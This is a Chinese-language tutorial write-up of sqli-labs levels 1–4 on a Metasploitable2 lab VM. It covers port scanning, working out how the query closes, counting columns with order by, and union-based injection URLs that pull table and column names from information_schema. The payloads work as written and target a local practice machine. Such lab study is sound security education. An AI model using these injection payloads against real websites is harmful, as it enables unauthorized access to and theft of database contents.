思路:

利用漏洞极多的靶场来模拟SQL注入

环境:

Metasploitable2

步骤:

1.查看虚拟主机的IP

2.开启服务,可见如下的TCP端口就处于开启状态

root@metasploitable:~# nmap -p0-65535 192.168.211.132

Starting Nmap 4.53 ( http://insecure.org ) at 2020-03-29 05:25 EDT
Interesting ports on 192.168.211.132:
Not shown: 65506 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  unknown
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgres
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  unknown
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  unknown
34789/tcp open  unknown
39583/tcp open  unknown
44078/tcp open  unknown
50582/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 4.046 seconds

查看php程序的执行根目录 /var/www 其下有一些用于攻击的漏洞练习

 

使用浏览器登录Metasploitable2的主页面

进入sqli-labs-master 下的sql-connections  setup-db.php以重置数据库

 

接下来进入SQL注入的模拟练习第一关,按照要求在地址栏输入?id=1 即GET方法

 

接下来进行SQL注入

思路如下:

  1. 判断交互方式 get/post/http head
  2. 预判数据库执行语句
  3. 判断提交数据的闭合方式 整形、‘ ’、“ ”,(),(‘ ’),(“ ”) 快速判断闭合方式 and 1=1 和and 1=2
  4. 构造语句打破闭合
  5. 构造联合查询判断输出位 通过order by 判断列数 建议使用二分法

按如上思路进行判断整理

1.根据输入的id可以判断出来 该页面与WEB服务器的交互方式为GET

2.根据输入的id 得出用户明与密码可得SQL语句大致如下

select * from users where id = 页面输入的id ,即根据输入的id来匹配存储用户名与密码的数据库表

3.利用简单的and 1=1 来判断id的闭合方式

a.输入and 1=1与and 1=2后页面无变化 ,即页面把andx=x当作了字符串来处理,据此可以得出闭合方式不是整形。如图3-a

b.猜测id后的闭合符为单引号,并用#(浏览器转义后为--+)注释掉其后的闭合符,可见and1=1执行成功,而and1=2执行失败,可以见得数据库确实执行了此条测试语句,如图3-b

4.将源语句的id设置成不存在的id,使用联合查询即可完成,演示入图4

5.利用二分法判断输出位 如图5

 

图3-a

 

图3-b

 

若不使用注释符的话,写法如下

 

查看页面源代码,详细解释闭合符

SELECT * FROM users WHERE id='$id' LIMIT 0,1

id前后有单引号作为闭合符,上图写法的意思是,先在id后写个单引号,将源SQL语句的第一个单引号闭合,而要使用and来测试的话,默认最后是有一个闭合符的应在最后的1前写上一个闭合符来与最后的默认的单引号形成对应,此时的1被包含在了两个单引号的其中,被作为了一个字符,所以应在and后的第一个1左右也应写上单引号使其成为字符,这样一来才能进行and的测试。

limit 0,1的意思是,将从从第0行显示,且只显示1行

Mysql中测试,第一个语句的意思是查询users表中从第0行开始的一行数据,第二个语句的意思是查询uesrs表中从第1行开始的两行数据,即与C语言中的数据类似,从0开始

 

图4

说明:

将id设置为数据库不存在的数,使用联合查询,查询想要知道的数据,上图的select后面有个1的意思是,所查询的数据显示出来的格式要符合数据库原本的格式,即三个字段,即这里的1只为填充这个id字段,并无其他含义,写成2也无妨,也就是说,联合查询一定要注意列数必须相同

利用mysql更能理解其中的含义

 

图5

 


接下来进行简单的SQL注入,来实现想要得到的数据

需求:

  • 查找security库中表users的列元素

原始sql语句如下,将其插入至SQL注入的联合查询语句中

select column_name from information_schema.columns where table_schema='security' and table_name='users' ;

http://192.168.211.132/sqli-labs-master/Less-1/?id=-1’ union all select 1,( select column_name from information_schema.columns where table_schema='security' and table_name='users'),version()--+

但是页面提示,返回值超过一行,这是因为页面的mysql语句有limit0,1的限制输出,解决办法是在注入的sql语句中添加limit0,1尚可

接下来更改limit后的第一个字段,用于显示其他列名即可

http://192.168.211.132/sqli-labs-master/Less-1/?id=-1’ union all select 1,( select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),version()--+

http://192.168.211.132/sqli-labs-master/Less-1/?id=-1’ union all select 1,( select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),version()--+

http://192.168.211.132/sqli-labs-master/Less-1/?id=-1’ union all select 1,( select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),version()--+

 

验证:

进入虚拟主机的mysql来验证列名是否与浏览器的显示一致,可见与预期相符

 

  1. 查找security库有那些表

页面有两个输出栏,则利用联合查询来注入sql

select distinct table_name from information_schema.columns where table_schema='security' limit 0,1;

select distinct table_name from information_schema.columns where table_schema='security' limit 1,1;

 

 

网址栏输入

http://192.168.211.132/sqli-labs-master/Less-1/?id=-1’ union all select (select distinct table_name from information_schema.columns where table_schema='security' limit 0,1),( select distinct table_name from information_schema.columns where table_schema='security' limit 1,1)--+

 


select distinct table_name from information_schema.columns where table_schema='security' limit 2,1;

select distinct table_name from information_schema.columns where table_schema='security' limit 3,1;

网址栏输入

http://192.168.211.132/sqli-labs-master/Less-1/?id=-1’ union all select (select distinct table_name from information_schema.columns where table_schema='security' limit 2,1),( select distinct table_name from information_schema.columns where table_schema='security' limit 3,1)--+

 

 

 

验证:可见,与预期相符

 

接下来进入第二关

 

根据提示在网址栏输入id=1

 

判断闭合符,由此可见 闭合符不是“ ) ‘)

 

由下图可以推断出闭合符为整形

 

利用order by判断出来列数为三列

 

利用联合查询来查找想要的数据

查看后台数据库的语句,可见与预期相符

接下来进入第三关

方法上上一关类似,向判断闭合符,然后查看输出列宽度,最后利用联合查询来查找想要的数据

 

经判断,闭合符为’) 输出列宽度为3

构造联合查询,来查找需要的数据

 

查看后台数据库的语句,可见与预期相符

 

第四关同理,经判断,闭合符为”) 输出列宽度为3

 

构造联合查询来查找需要的数据

 

查看后台数据库的语句,这里的id手续爱你定义了双引号,然后SQL语句中定义了闭合符为() 所以第四关的闭合符为(“”)